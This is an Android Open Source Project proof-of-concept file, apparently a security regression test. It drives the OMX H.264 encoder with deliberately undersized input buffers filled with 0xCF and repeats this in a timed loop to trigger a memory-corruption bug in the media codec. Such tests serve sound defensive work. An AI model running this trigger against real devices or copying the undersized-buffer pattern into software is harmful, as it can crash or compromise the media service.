/**
 * Copyright (C) 2020 The Android Open Source Project
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

#include "stdlib.h"
#include "../includes/common.h"

//This PoC is only for 32-bit builds.
#if _32_BIT
#include "../includes/omxUtils.h"
#include <unistd.h>
#include <hidlmemory/mapping.h>

extern bool mUseTreble;
sp<IAllocator> mAllocator = IAllocator::getService("ashmem");

void exit_handler(void) {
    omxUtilsFreeNode();
}

int allocateHidlPortBuffers(OMX_U32 portIndex, Vector<Buffer> *buffers,
                            int BufferSize) {
    buffers->clear();
    OMX_PARAM_PORTDEFINITIONTYPE def;
    int err = omxUtilsGetParameter(portIndex, &def);
    omxExitOnError(err);

    for (OMX_U32 i = 0; i < def.nBufferCountActual; ++i) {
        Buffer buffer;
        buffer.mFlags = 0;
        bool success;
        auto transStatus = mAllocator->allocate(BufferSize, [&success, &buffer](
                bool s,
                hidl_memory const& m) {
            success = s;
            buffer.mHidlMemory = m;
        });
        omxExitOnError(!transStatus.isOk());
        omxExitOnError(!success);
        buffers->push(buffer);
    }
    return OK;
}

void poc() {
    int i;
    Vector < Buffer > inputBuffers;
    Vector < Buffer > outputBuffers;
    status_t err = omxUtilsInit((char*) "OMX.google.h264.encoder");
    omxExitOnError(err);
    atexit(exit_handler);

    OMX_PARAM_PORTDEFINITIONTYPE def;
    omxUtilsGetParameter(OMX_UTILS_IP_PORT, &def);

    int inMemSize = def.nBufferCountActual * def.nBufferSize / 512;
    int inBufferCnt = def.nBufferCountActual;
    int inBufferSize = inMemSize / inBufferCnt;

    sp <MemoryDealer> dealerIn = new MemoryDealer(inMemSize);
    IOMX::buffer_id *inBufferId = new IOMX::buffer_id[inBufferCnt];

    omxUtilsGetParameter(OMX_UTILS_OP_PORT, &def);

    int outMemSize = def.nBufferCountActual * def.nBufferSize;
    int outBufferCnt = def.nBufferCountActual;
    int outBufferSize = outMemSize / outBufferCnt;

    sp <MemoryDealer> dealerOut = new MemoryDealer(outMemSize);
    IOMX::buffer_id *outBufferId = new IOMX::buffer_id[outBufferCnt];

    if (mUseTreble) {
        allocateHidlPortBuffers(OMX_UTILS_IP_PORT, &inputBuffers, inBufferSize);
        for (i = 0; i < inBufferCnt; ++i) {
            inBufferId[i] = inputBuffers[i].mID;
            sp <android::hidl::memory::V1_0::IMemory> mem = mapMemory(
                    inputBuffers[i].mHidlMemory);
            memset((void *) mem->getPointer(), 0xCF, inBufferSize);
            omxUtilsUseBuffer(OMX_UTILS_IP_PORT, inputBuffers[i].mHidlMemory, &inBufferId[i]);
        }
    } else {
        for (i = 0; i < inBufferCnt; ++i) {
            sp <IMemory> memory = dealerIn->allocate(inBufferSize);
            memset(memory->pointer(), 0xCF, inBufferSize);
            OMXBuffer omxBuf(memory);
            omxUtilsUseBuffer(OMX_UTILS_IP_PORT, omxBuf, &inBufferId[i]);
        }
    }

    if (mUseTreble) {
        allocateHidlPortBuffers(OMX_UTILS_OP_PORT, &outputBuffers,
                                outBufferSize);
        for (i = 0; i < outBufferCnt; ++i) {
            outBufferId[i] = outputBuffers[i].mID;
            omxUtilsUseBuffer(OMX_UTILS_OP_PORT, outputBuffers[i].mHidlMemory, &outBufferId[i]);
        }
    } else {
        for (i = 0; i < outBufferCnt; ++i) {
            sp <IMemory> memory = dealerOut->allocate(outBufferSize);
            OMXBuffer omxBuf(memory);
            omxUtilsUseBuffer(OMX_UTILS_OP_PORT, omxBuf, &outBufferId[i]);
        }
    }

    omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle);
    omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateExecuting);

    for (i = 0; i < inBufferCnt; ++i) {
        OMXBuffer omxBuf(0, inBufferSize);
        omxUtilsEmptyBuffer(inBufferId[i], omxBuf, 0, 0, -1);
    }

    for (i = 0; i < outBufferCnt; ++i) {
        OMXBuffer omxBuf(0, outBufferSize);
        omxUtilsFillBuffer(outBufferId[i], omxBuf, -1);
    }

    omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle);
    omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateLoaded);

    for (i = 0; i < inBufferCnt; ++i) {
        omxUtilsFreeBuffer(OMX_UTILS_IP_PORT, inBufferId[i]);
    }

    for (i = 0; i < outBufferCnt; ++i) {
        omxUtilsFreeBuffer(OMX_UTILS_OP_PORT, outBufferId[i]);
    }

    omxUtilsFreeNode();
    return;
}
#endif

int main() {

//This PoC is only for 32-bit builds.
#if _32_BIT
    time_t currentTime = start_timer();
    while(timer_active(currentTime)) {
        poc();
    }
#endif

    return EXIT_SUCCESS;
}
